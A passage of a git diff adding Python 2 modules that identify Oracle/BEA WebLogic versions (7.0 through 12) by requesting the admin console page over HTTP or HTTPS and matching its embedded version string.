WebLogic 10 is bugged when using Oracle's custom implementation of SSL. + Only if the default Java implementation is set will this work; otherwise, + Oracle sends an SSL23_GET_SERVER_HELLO and breaks OpenSSL. + """ + + def __init__(self): + super(FPrint, self).__init__() + self.version = "10" + self.title = WINTERFACES.WLS + self.port = 9002 + self.ssl = True diff --git a/src/platform/weblogic/fingerprints/WL11.py b/src/platform/weblogic/fingerprints/WL11.py new file mode 100644 index 0000000..8e09e31 --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL11.py @@ -0,0 +1,7 @@ +from src.platform.weblogic.interfaces import WLConsole + +class FPrint(WLConsole): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "11" diff --git a/src/platform/weblogic/fingerprints/WL11s.py b/src/platform/weblogic/fingerprints/WL11s.py new file mode 100644 index 0000000..b2899a9 --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL11s.py @@ -0,0 +1,10 @@ +from src.platform.weblogic.interfaces import WINTERFACES, WLConsole + +class FPrint(WLConsole): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "11" + self.title = WINTERFACES.WLS + self.port = 9002 + self.ssl = True diff --git a/src/platform/weblogic/fingerprints/WL12.py b/src/platform/weblogic/fingerprints/WL12.py new file mode 100644 index 0000000..638bbbd --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL12.py @@ -0,0 +1,8 @@ +from src.platform.weblogic.interfaces import WLConsole + + +class FPrint(WLConsole): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "12" diff --git a/src/platform/weblogic/fingerprints/WL12s.py b/src/platform/weblogic/fingerprints/WL12s.py new file mode 100644 index 0000000..461a73c --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL12s.py @@ -0,0 +1,11 @@ +from src.platform.weblogic.interfaces import WINTERFACES, WLConsole + + +class FPrint(WLConsole): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "12" + self.title = WINTERFACES.WLS + self.port = 9002 + self.ssl = True diff --git a/src/platform/weblogic/fingerprints/WL7.py b/src/platform/weblogic/fingerprints/WL7.py new file mode 100644 index 0000000..1227fa6 --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL7.py @@ -0,0 +1,7 @@ +from src.platform.weblogic.interfaces import BEAConsole + +class FPrint(BEAConsole): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "7.0" diff --git a/src/platform/weblogic/fingerprints/WL81.py b/src/platform/weblogic/fingerprints/WL81.py new file mode 100644 index 0000000..8bcd9a1 --- /dev/null +++ b/src/platform/weblogic/fingerprints/WL81.py @@ -0,0 +1,7 @@ +from src.platform.weblogic.interfaces import BEAConsole + +class FPrint(BEAConsole): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "8.1" diff --git a/src/platform/weblogic/fingerprints/__init__.py b/src/platform/weblogic/fingerprints/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/weblogic/interfaces.py b/src/platform/weblogic/interfaces.py new file mode 100644 index 0000000..a3e5a5a --- /dev/null +++ b/src/platform/weblogic/interfaces.py @@ -0,0 +1,83 @@ +from requests import exceptions +from cprint import FingerPrint +from log import LOG +import utility + +class WINTERFACES: + WLA = "WebLogic Admin Console" + WLS = "WebLogic Admin Console (https)" + +class WLConsole(FingerPrint): + """ Oracle was kind enough to embed the version string right into the + default console page. + """ + + def __init__(self): + self.platform = "weblogic" + self.version = None + self.title = WINTERFACES.WLA + self.uri = "/console" + self.port = 7001 + self.hash = None + + def check(self, ip, port = None): + """ Pull the version string out of the page. + """ + + try: + rport = self.port if port is None else port + + url = "{0}://{1}:{2}{3}".format("https" if "ssl" in dir(self) and self.ssl else "http", + ip, rport, self.uri) + response = utility.requests_get(url) + + if "WebLogic Server Version: {0}.".format(self.version) in response.content: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, + rport), LOG.DEBUG) + except exceptions.ConnectionError, e: + utility.Msg("{0} connection error to {1}:{2} ({3})".format( + self.platform, + ip, rport, e), + LOG.DEBUG) + + return False + + +class BEAConsole(FingerPrint): + """ Old versions of BEA WebLogic admin console have the version strings + embedded into the login page. + """ + + def __init__(self): + self.platform = "weblogic" + self.version = None + self.title = WINTERFACES.WLA + self.uri = "/console" + self.port = 7001 + self.hash = None + + def check(self, ip, port = None): + """ Pull the version string out of the page. + """ + + try: + rport = self.port if port is None else port + response = utility.requests_get("http://{0}:{1}{2}".format( + ip, rport, self.uri)) + + if "BEA WebLogic Server {0}".format(self.version) in response.content: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + + return False